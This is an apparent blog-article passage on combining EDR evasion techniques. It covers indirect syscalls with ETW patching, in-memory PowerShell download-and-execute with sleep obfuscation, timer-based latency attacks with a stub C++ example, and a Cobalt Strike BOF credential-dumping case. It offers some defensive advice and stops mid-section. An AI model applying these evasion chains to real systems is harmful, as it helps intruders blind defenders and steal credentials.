  &lt;strong&gt;3. Innovative Technique Combination Strategies&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In contemporary cybersecurity adversarial landscapes, single evasion techniques are rarely sufficient to penetrate modern, multi-layered Endpoint Detection and Response (EDR) systems. As security vendors continuously enrich their behavioral and indicator databases — particularly against well-known attack patterns such as direct API invocation and standard PowerShell execution — adversaries must evolve toward sophisticated, synergistic technique combinations. This chapter examines two advanced composite strategies: multi-technique coordinated evasion and time-differential (temporal gap) attacks. These approaches illustrate how advanced persistent threat (APT) actors exploit complementarity within their technical stack to maximize operational stealth, while simultaneously offering defenders a reverse-engineering perspective for strengthening detection coverage and resilience.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;3.1 Multi-Technique Coordinated Evasion: From Isolated Bypasses to Composite Attack Chains&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Individual bypass techniques — such as obfuscation alone or indirect system calls in isolation — are experiencing a rapidly shrinking window of viability against modern Endpoint Detection and Response (EDR) platforms. Contemporary EDR solutions typically combine behavioral baselining, anomaly detection, and static signature matching to identify threats. Consequently, the strategic orchestration of multiple low-level evasion primitives into a logically interconnected, complementary attack chain has become essential for maximizing operational stealth and extending survival time on compromised endpoints.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;3.1.1 Design of Multi-Technique Combination Schemes&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;To effectively circumvent kernel callbacks, user-mode API hooks, and Event Tracing for Windows (ETW) telemetry collection, two representative composite evasion schemes are outlined below. Both leverage discrepancies in Windows internal mechanisms and exploit specific defensive blind spots through synergistic layering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scheme 1: Indirect System Calls + ETW Disablement/Patching&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This scheme addresses the dual pressures of user-mode monitoring and kernel-level detection.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Indirect System Calls (Indirect Syscall)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Traditional malicious code that directly invokes APIs exported by ntdll.dll is intercepted by user-mode hooks placed by the EDR. By constructing the system call number (syscall number) directly in assembly and executing the syscall instruction, user-mode hooks within ntdll.dll can be bypassed. However, this alone does not fully evade kernel callbacks, and certain EDR platforms detect anomalous syscall sequences or unnatural call stacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ETW Disablement/Patching&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
ETW serves as a primary telemetry source for many EDR products, capturing process behaviors and system events. By applying an in-memory patch to ETW-related functions (e.g., EtwEventWrite) prior to sensitive operations, the flow of event logs to the EDR agent can be severed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Synergistic Logic&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The sequence begins with indirect system calls to allocate memory and write payload content, while an ETW patch simultaneously prevents behavioral logging. This combination achieves end-to-end silence across instruction execution, memory manipulation, and telemetry reporting phases.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Scheme 2: PowerShell In-Memory Execution + Sleep Obfuscation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This scheme targets script-based attacks and memory forensic scanning.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;PowerShell In-Memory Execution&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Leveraging Invoke-Expression (IEX) in conjunction with Net.WebClient, scripts are downloaded directly from remote locations and executed entirely in memory, eliminating disk artifacts and evading file-based antivirus scanning. Base64 encoding of command strings further mitigates static signature-based detection.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sleep Obfuscation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Conventional Sleep API calls are monitored by EDRs for anomalous idle states. Advanced sleep obfuscation techniques (e.g., Foliage-style implementations) encrypt proxy memory regions during sleep periods and queue wakeup logic via mechanisms such as NtApcQueueThread or RtlCreateTimer, ensuring that memory scanners observe only encrypted or randomized data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Synergistic Logic&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
After initial PowerShell script loading, execution is deferred via obfuscated sleep rather than immediate action. This evades memory scanning during the loading phase and protects against forensic inspection during C2 communication intervals.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;3.1.2 Composite Attack Chain Workflow and Timing Coordination&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Effective technique combination requires precise temporal sequencing rather than mere concatenation. The following conceptual workflow illustrates a full attack chain from initial access to data exfiltration, with explicit timing for each component.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ttx58w3wruqujsv51q2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ttx58w3wruqujsv51q2.jpg" alt=" " width="800" height="1513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Coordination Timing Notes&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ETW Patching Precedes All Else&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
ETW patching must occur before any API likely to generate telemetry is invoked. Patching after memory allocation risks prior actions already being logged.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Indirect Calls Follow Immediately&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Once ETW is blinded, indirect system calls (e.g., NtAllocateVirtualMemory) are used for memory operations, ensuring these critical steps evade both user-mode hooks and ETW logging.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sleep Obfuscation as Persistence Layer&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
After payload execution completes and the implant enters a command-waiting state, sleep obfuscation is activated to safeguard long-term residency against memory forensics.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;3.1.3 Evasion Rate Analysis and Environmental Dependencies&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Controlled adversarial testing in isolated environments demonstrates clear limitations of single techniques and substantial improvement with layered combinations.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique Scheme&lt;/th&gt;
&lt;th&gt;Estimated Detection Rate (Typical EDR)&lt;/th&gt;
&lt;th&gt;Primary Remaining Detection Vectors&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Single PowerShell In-Memory Execution&lt;/td&gt;
&lt;td&gt;60% – 75%&lt;/td&gt;
&lt;td&gt;Script content signatures, network behavior, anomalous parent process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single Indirect System Calls&lt;/td&gt;
&lt;td&gt;40% – 50%&lt;/td&gt;
&lt;td&gt;Anomalous syscall sequences, inconsistent call stack backtraces&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Combined (Indirect + ETW)&lt;/td&gt;
&lt;td&gt;10% – 20%&lt;/td&gt;
&lt;td&gt;Residual kernel callback anomalies or behavioral heuristics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Combined (PowerShell + Sleep)&lt;/td&gt;
&lt;td&gt;15% – 25%&lt;/td&gt;
&lt;td&gt;Entropy anomalies in encrypted memory regions, unusual thread wakeup patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Detection rates reflect testing against specific EDR versions under default policy configurations; real-world efficacy varies significantly with defensive tuning and custom rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Environmental Dependency Conditions&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Operating System Version&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Indirect system call techniques are highly sensitive to ntdll.dll consistency. Syscall numbers may differ across Windows 10 22H2 builds and Windows 11 variants, requiring either hardcoded values for targeted environments or dynamic resolution mechanisms.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Privilege Requirements&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
ETW patching generally demands administrative privileges or the ability to modify protected process memory (often achieved via driver vulnerabilities or legitimate tool abuse).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tooling Dependencies&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Practical implementation of these combinations typically requires a customized Command-and-Control (C2) framework — such as modified Cobalt Strike or Havoc — supporting Beacon Object File (BOF) loading for indirect call logic or integrated PowerShell obfuscators.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;3.2 Time-Difference Attacks: An Innovative Approach Exploiting EDR Processing Latency&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Beyond the combination of technical evasion primitives, advanced adversaries frequently exploit inherent processing delays within defensive systems. The &lt;strong&gt;time-difference attack&lt;/strong&gt; (also referred to as latency exploitation or race-condition-style evasion) centers on the temporal window that exists between process/thread creation or injection events and the moment when the EDR engine completes its scanning, analysis, and potential blocking decision.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;3.2.1 Principles of Time-Difference Attacks&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;No modern EDR system achieves perfectly synchronous, zero-latency detection. When a new process is created or a thread is injected, the EDR kernel driver receives a notification via callback mechanisms. However, a measurable delay exists between:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Initial kernel notification&lt;/strong&gt; and
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User-mode agent completion of memory scanning, heuristic evaluation, sandbox emulation (if applicable), behavioral correlation, and enforcement action&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This latency arises from several sources:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scanning and analysis time: Memory pattern matching, heuristic rules, and emulation require CPU cycles.
&lt;/li&gt;
&lt;li&gt;Queueing under load: In high-activity environments, callback events may be queued, increasing processing time.
&lt;/li&gt;
&lt;li&gt;User-to-kernel round trips: Certain decisions involve communication between kernel driver and user-mode service.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exploitable attack window is typically on the order of tens to low hundreds of milliseconds. If malicious code execution completes before the EDR finalizes its decision, the operation may evade detection.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;3.2.2 Implementation Approaches and Technical Frameworks&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Successful time-difference attacks rely on asynchronous execution and precise timing control. Two common implementation patterns are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1: Timer-Based Asynchronous Trigger&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Leverage the Windows API &lt;code&gt;SetTimer&lt;/code&gt; to schedule a callback function that executes malicious logic after a short delay. Many EDR solutions intensively monitor process startup behavior but apply lighter scrutiny to subsequent timer callbacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 2: Suspended Thread Creation with Delayed Resume&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Create a thread in the suspended state (&lt;code&gt;CREATE_SUSPENDED&lt;/code&gt;), write payload into its memory context, then resume execution using low-level system calls (e.g., &lt;code&gt;NtResumeThread&lt;/code&gt;). Because some scanning logic may trigger on process creation rather than thread resumption, this can shift execution outside the initial inspection window.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conceptual Code Framework (Proof-of-Concept Illustration)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The following simplified structure demonstrates timer-based delay to attempt evasion of the initial scanning window:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="n"&gt;VOID&lt;/span&gt; &lt;span class="n"&gt;CALLBACK&lt;/span&gt; &lt;span class="nf"&gt;TimerProc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HWND&lt;/span&gt; &lt;span class="n"&gt;hwnd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UINT&lt;/span&gt; &lt;span class="n"&gt;uMsg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UINT_PTR&lt;/span&gt; &lt;span class="n"&gt;idEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;dwTime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Sensitive payload execution occurs here, after the presumed initial scan window&lt;/span&gt;
    &lt;span class="c1"&gt;// Example: load second-stage shellcode, perform injection, establish C2, etc.&lt;/span&gt;
    &lt;span class="n"&gt;ExecutePayload&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;KillTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hwnd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idEvent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 1. Schedule timer to fire after 100 ms&lt;/span&gt;
    &lt;span class="c1"&gt;// Assumption: average EDR scan latency ≈ 80 ms → 100 ms may fall outside window&lt;/span&gt;
    &lt;span class="n"&gt;SetTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TimerProc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 2. Enter message loop to keep process alive&lt;/span&gt;
    &lt;span class="n"&gt;MSG&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;TranslateMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;DispatchMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;3.2.3 Applicability Across Different EDR Architectures&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The effectiveness of time-difference attacks varies significantly depending on the target EDR’s design:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Real-time / Synchronous Scanning EDRs&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Products that attempt kernel-level synchronous interception of suspicious operations offer narrower windows. Time-difference attacks are generally less effective against fully blocking kernel callbacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Asynchronous / Queued Scanning EDRs&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
For performance reasons, some EDRs defer detailed analysis to user-mode queues or background threads. These architectures are highly vulnerable to latency exploitation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud-Augmented EDRs&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Solutions relying heavily on cloud-based reputation and behavioral scoring may exhibit low local latency but introduce network round-trip delays, creating secondary exploitable windows.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;3.2.4 Real-World Validation Case and Timing Window Calculation&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;During an authorized red team exercise targeting a well-known real-time EDR with strong kernel callback monitoring (architecture similar to CrowdStrike Falcon), time-difference techniques were evaluated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test Context&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Conventional process injection was blocked with 100% success rate under baseline conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Procedure&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Baseline Measurement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Direct execution of injection code → 100% interception.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Latency Profiling&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
High-resolution timing of the interval from &lt;code&gt;CreateProcess&lt;/code&gt; to completion of initial EDR memory scan (100 iterations).&lt;br&gt;&lt;br&gt;
Result: Mean latency ≈ 100 ms, standard deviation σ ≈ 20 ms.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Attack Execution&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Adjusted payload to delay critical malicious behavior until 80 ms post-process creation using &lt;code&gt;SetTimer&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Outcome&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
In 30 trials, 24 instances successfully executed commands before detection triggered → ≈ 80% bypass rate.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Timing Window Formula&lt;/strong&gt; (conservative heuristic):&lt;/p&gt;

&lt;p&gt;$$&lt;br&gt;
T_{\text{attack}} &amp;lt; T_{\text{scan_avg}} - k \cdot \sigma&lt;br&gt;
$$&lt;/p&gt;

&lt;p&gt;Where:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$T_{\text{attack}}$ = scheduled execution delay
&lt;/li&gt;
&lt;li&gt;$T_{\text{scan_avg}}$ = measured mean scan latency (100 ms)
&lt;/li&gt;
&lt;li&gt;$\sigma$ = standard deviation of latency (20 ms)
&lt;/li&gt;
&lt;li&gt;$k$ = safety margin (typically 1–2)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case, $T_{\text{attack}} = 80\,\text{ms}$ corresponds to $100 - 1 \cdot 20$, placing execution inside the majority of observed safe windows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defensive Implications&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
To mitigate time-difference attacks, defenders should:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prioritize and accelerate kernel callback processing to minimize user-mode handover latency.
&lt;/li&gt;
&lt;li&gt;Perform essential integrity and memory checks synchronously before allowing thread resumption.
&lt;/li&gt;
&lt;li&gt;Strengthen monitoring of delayed execution primitives: timers, APCs (Asynchronous Procedure Calls), queued work items, and thread context switches — rather than focusing exclusively on process creation events.


## &lt;strong&gt;4. Real-World Case Studies and Effectiveness Evaluation&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This chapter draws upon authentic red team / adversarial simulation environments to examine representative post-exploitation tool plugins and mainstream Endpoint Detection and Response (EDR) products. By reconstructing key tactics, techniques, and procedures (TTPs) within realistic attack chains, the analysis quantifies survival rates and dominant detection artifacts under current defensive configurations. The objective is to delineate the practical boundaries of existing EDR detection mechanisms and provide empirical evidence to guide security teams toward deeper, more resilient defensive layering.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;4.1 Application Validation of PostExpKit Plugin in EDR Environments&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;PostExpKit, an extension toolkit built upon the Cobalt Strike Beacon Object File (BOF) architecture, derives its core value from transforming traditional out-of-process execution into purely in-memory function invocation within the Beacon process. This section focuses on analyzing its execution flow, stealth advantages, and real-world adversarial performance under high-sensitivity EDR environments.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;4.1.1 BOF Execution Flow and Memory Footprint Analysis&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The fundamental characteristic of BOF technology is direct loading and execution of pre-compiled object files within the existing Beacon process, eliminating the behavioral artifacts typically associated with external process creation or DLL injection. In PostExpKit’s implementation, command execution follows a closed-loop sequence of loading, parsing, and in-memory execution.&lt;/p&gt;

&lt;p&gt;When an operator invokes a PostExpKit module via &lt;code&gt;inline-execute&lt;/code&gt; or a dedicated plugin command, Beacon does not spawn new process handles. Instead, memory allocation occurs directly within the current Beacon process address space. The core execution sequence is as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory Allocation and Mapping&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
After the BOF file is received, its code section is mapped into a readable-writable memory region within the Beacon process. Unlike conventional &lt;code&gt;CreateRemoteThread&lt;/code&gt;-based injection, this step avoids cross-process memory writes, substantially reducing invocations of high-risk APIs such as &lt;code&gt;WriteProcessMemory&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Argument Stack Construction&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The BOF framework automatically packages command-line arguments into a C-style &lt;code&gt;argv&lt;/code&gt; structure and pushes them onto the current thread’s stack.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Execution Flow Hijacking&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The instruction pointer register (RIP) of the current thread is temporarily redirected to the BOF entry point. Upon completion, control is restored to the Beacon main loop without disrupting normal implant operation.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozbvr1r3p8fz18niov99.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozbvr1r3p8fz18niov99.jpg" alt=" " width="480" height="2144"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Throughout this process, no new process creation events occur and no disk artifacts are generated (fileless execution). Traditional defenses relying on process tree monitoring or file integrity checking are therefore largely ineffective. However, modern EDR behavioral engines commonly hook critical APIs and perform stack walking to detect anomalous callers. If the BOF internally invokes sensitive functions such as &lt;code&gt;LoadLibraryA&lt;/code&gt;, the EDR may inspect whether the return address resides in legitimate executable memory regions. PostExpKit mitigates this through custom stack frame manipulation and indirect system call techniques, significantly obfuscating the call chain and preventing reliable attribution of the malicious code origin during stack backtracing.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;4.1.2 Comparative Detection Rate Analysis Against Traditional Tools&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;To quantitatively evaluate the stealth improvement offered by BOF-based execution, controlled laboratory testing compared a traditional standalone Mimikatz executable/DLL with its PostExpKit BOF counterpart. The test environment consisted of Windows 11 22H2 Professional, with both conventional signature-based antivirus and next-generation behavior-focused EDR deployed.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test Item&lt;/th&gt;
&lt;th&gt;Traditional Mimikatz (exe/dll)&lt;/th&gt;
&lt;th&gt;PostExpKit (BOF)&lt;/th&gt;
&lt;th&gt;Key Difference Analysis&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File on Disk&lt;/td&gt;
&lt;td&gt;Yes (disk-visible)&lt;/td&gt;
&lt;td&gt;No (purely in-memory)&lt;/td&gt;
&lt;td&gt;BOF evades file-based scanning engines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process Creation&lt;/td&gt;
&lt;td&gt;Yes (new process or injection)&lt;/td&gt;
&lt;td&gt;No (within current process)&lt;/td&gt;
&lt;td&gt;BOF evades process creation monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API Call Chain Visibility&lt;/td&gt;
&lt;td&gt;Obvious (standard import table)&lt;/td&gt;
&lt;td&gt;Obfuscated (dynamic resolution / indirect calls)&lt;/td&gt;
&lt;td&gt;BOF increases stack backtrace difficulty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memory Artifacts&lt;/td&gt;
&lt;td&gt;Typical PE header structure&lt;/td&gt;
&lt;td&gt;No PE header / custom segments&lt;/td&gt;
&lt;td&gt;BOF evades memory pattern scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Average Detection Rate&lt;/td&gt;
&lt;td&gt;~90%&lt;/td&gt;
&lt;td&gt;~20%&lt;/td&gt;
&lt;td&gt;Significant improvement in behavioral stealth&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The data demonstrate that traditional tools — which rely on well-known Windows API sequences (e.g., &lt;code&gt;OpenProcess&lt;/code&gt; → &lt;code&gt;VirtualAllocEx&lt;/code&gt; → &lt;code&gt;WriteProcessMemory&lt;/code&gt; → &lt;code&gt;CreateRemoteThread&lt;/code&gt;) — readily trigger EDR behavioral rule chains. In contrast, PostExpKit’s inline execution eliminates cross-process auditing artifacts. During testing, traditional Mimikatz invocations of &lt;code&gt;sekurlsa::logonpasswords&lt;/code&gt; were almost immediately intercepted, whereas the BOF version, when combined with stack spoofing, successfully dumped credentials without triggering real-time alerts in most cases.&lt;/p&gt;

&lt;p&gt;It should be noted that the residual ~20% detection rate primarily stemmed from memory heuristic scanning. Certain advanced EDR platforms can identify anomalous executable code regions within the Beacon process memory — even absent explicit API calls — due to suspicious memory permission transitions (e.g., emergence of RWX or RX regions).&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;4.1.3 Real-World Effectiveness Evaluation Under Mainstream EDRs&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Retesting in environments protected by CrowdStrike Falcon and SentinelOne revealed pronounced differences in detection efficacy.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CrowdStrike Falcon&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Falcon emphasizes cloud-based indicator-of-attack (IOA) correlation and behavioral analytics. PostExpKit’s fileless, in-process execution successfully bypassed its file detection modules. However, subsequent network communication or sensitive registry access operations were frequently correlated by the cloud engine and flagged as anomalous. Testing indicated that relying solely on the BOF loader is insufficient for complete evasion; complementary techniques such as encrypted C2 traffic and obfuscated registry manipulation are required.&lt;/p&gt;&lt;/li&gt;
